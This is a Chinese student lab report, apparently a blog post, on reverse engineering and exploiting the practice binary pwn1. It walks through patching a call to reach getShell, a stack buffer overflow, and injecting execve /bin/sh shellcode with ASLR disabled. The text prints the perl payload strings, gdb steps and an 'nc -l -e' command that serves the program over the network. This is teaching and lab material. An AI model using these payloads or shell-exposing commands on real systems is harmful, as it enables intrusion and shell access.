Exp1 PC平台逆向破解(5)M

1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
JNE:条件转移指令,如果不相等则跳转。(机器码:75)
JE:条件转移指令,如果相等则跳转。(机器码:74)
JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)  段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF)  段间直接(远)转移Jmp far(机器码:EA)
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2、掌握反汇编与十六进制编程器

(1)编写和编译程序


代码功能:输入密码与预存密码进行比对,正确输出right,否则输出wrong。
(2)通过反汇编求出用户名、密码
打开终端,输入objdump –d hello,找到main函数:
(objdump是gcc工具,用来查看编译后目标文件的组成)


注意标记的jne命令,表示在前面的cmp指令比较结果为不相等时跳转,cmp指令比较的值即原本密码和输入的值,当两者不等时跳转1195输出wrong,否则继续执行下一条指令输出right.
实验步骤:

1、直接修改程序机器指令,改变程序执行流程

  • 实验目的
    通过直接修改可执行文件的内容,改变程序执行流程,使其调用原本不会被执行的 getShell 函数。
  • 实验流程
    下载目标文件 pwn1 ,执行 cp pwn1 pwn20191326 命令创建一个副本,原文件留作备用。接下来使用 objdump -d pwn20191326 | more命令进行反汇编,反汇编结果如下:

    call 0x8048491 是汇编指令; 是说这条指令将调用位于地址8048491处的foo函数; 其对应机器指令为e8 d7ffffff,e8即跳转之意。
    正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但执行e8这条指令后,CPU就会转而执行EIP + d7ffffff这个位置的指令。d7ffffff是 补码,表示-41,41=0x29,80484ba +d7ffffff=80484ba-0x29正好是8048491这个值。
    main函数调用foo,对应机器指令为e8 d7ffffff,那我们想让它调用getShell,只要修改d7ffffff为getShell-80484ba对应的补码就行。
    用Windows计算器,直接47d-4ba就能得到补码,是c3ffffff,修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff



    将d7改为c3

    :%!xxd -r 转换16进制为原格式
    :wq 存盘退出vim
    再用objdump -d 命令反汇编看一下,call指令是否正确调用getShell:

    运行修改后的代码,会得到shell提示符:

2.构造输入参数进行BOF攻击,改变程序执行流程

  • 实验目的
    本节的目标时通过输入构造的buffer,使得程序执行过程发送改变,进而执行不会被调用的 getShell 函数。
  • 实验流程
    用objdump -d命令反汇编pwn20191326_2文件:


    我们的目标是触发函数getShell;该可执行文件正常运行是调用函数foo,但buffer的填充并不安全。因此,这个函数有Buffer overflow漏洞;
    从汇编代码中可知,代码中只预留了28(0x1c)字节的缓冲区,超出部分会造成溢出,首先覆盖EBP,之后覆盖EIP,字节大小共28+4+4=36,我们的目标是覆盖返回地址寄存器EIP。
    函数main中的call调用函数foo,同时在堆栈上压上返回地址值:80484ae
    从前面的反汇编结果可以看到, getShell 的地址为 0x0804847d ,所以我们构造的参数就是 11111111222222223333333344444444\x7d\x84\x04\x08\x0a

    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input perlink来构造16进制字符串。
    xxd 查看input文件的内容是否符合预期
    (cat input; cat) | ./pwn20191326_2 将input的输入,通过管道符“|”,作为pwn20191301_1的输入.
    执行后成功弹出shell:

3.注入Shellcode并执行

shellcode:为了获取一个交互式的shell而设计的一段机器指令

  • 实验目的
    通过构造输入参数,使程序执行我们所输入的Shellcode。
  • 实验流程:
    准备工作:
cd prelink
sudo apt-get install libelf-dev
./configure
make
sudo make install
  • 文件设置及检测
execstack -s pwn20191326_3
execstack -q pwn20191326_3
su root
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space

构造需要注入的payload
+Linux下有两种基本构造攻击 buf 的方法:retaddr+nop+shellcode 和 nop+shellcode+retaddr。因为 retaddr 在缓冲区的位置是固定的, shellcode 要不在它前面,要不在它后面。简单说缓冲区小就把 shellcode 放后边,缓冲区大就把 shellcode 放前边。
结构为:nops+shellcode+retaddr。(另一个有错误)
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
能够成功的结构为:anything+retaddr+nops+shellcode。
试探一下程序的返回地址到底在哪里,使用如下shellcode来试探:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。

  • 确定返回地址中注入的值:
(cat input_shellcode; cat) | ./pwn20191326_3

再开另外一个终端,用gdb来调试pwn1这个进程。
ps -ef | grep pwn20191326_3
gdb
attach ./pwn20191326_3的进程号
disassemble foo
break *0x080484ae
c
info r esp 确定ESP的值
x/16x esp的值 判断是否正确

![](https://img2022.cnblogs.com/blog/1812324/202203/1812324-20220325222035167-2052187400.png)
esp 的内容为 0xffffd15c。实验指导书中有过一步错误的操作,就是直接使用之前的 pyload 将 shellcode 填充到堆栈里面,然后攻击失败了。失败的主要原因是,我们得到的esp 地址就不在 shellcode 低4字节的位置了,这个时候如果还按照之前的操作就行不通了。所以我们应该修改 pyload 将 shellcode 的位置进行调整,让 shellcode在返回地址的高字节位置。前面32字节使用任意字符进行填充,按照 esp 的地址进行计算,我们应该跳转的 shellcode 的位置应该是 0xffffd15c + 4 ,就也就是 0xffffd160 。
+ 修改并填充完成攻击

perl -e 'print "A" x 32;print "\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd 2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode4
(cat input_shellcode4; cat) | ./pwn20191326_4

![](https://img2022.cnblogs.com/blog/1812324/202203/1812324-20220325231104611-1583922250.png)

## 4、结合nc模拟远程攻击
主机1,模拟一个有漏洞的网络服务:

nc -l 127.0.0.1 -p 28234 -e ./pwn1
-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入

主机2,连接主机1并发送攻击载荷:

(cat input_shellcode; cat) | nc 127.0.0.1 28234

程序在内存中的地址发生了变化,需要重新使用 gdb 确定返回地址。
![](https://img2022.cnblogs.com/blog/1812324/202203/1812324-20220325235054467-1773887088.png)
新的返回地址为 0xffffd18c + 4 = 0xffffd190 ,对应修改 shellcode ,重新执行
显示shell:
![](https://img2022.cnblogs.com/blog/1812324/202203/1812324-20220325235222826-1115770194.png)
posted @ 2022-03-25 23:53  叶家星  阅读(58)  评论(0编辑  收藏  举报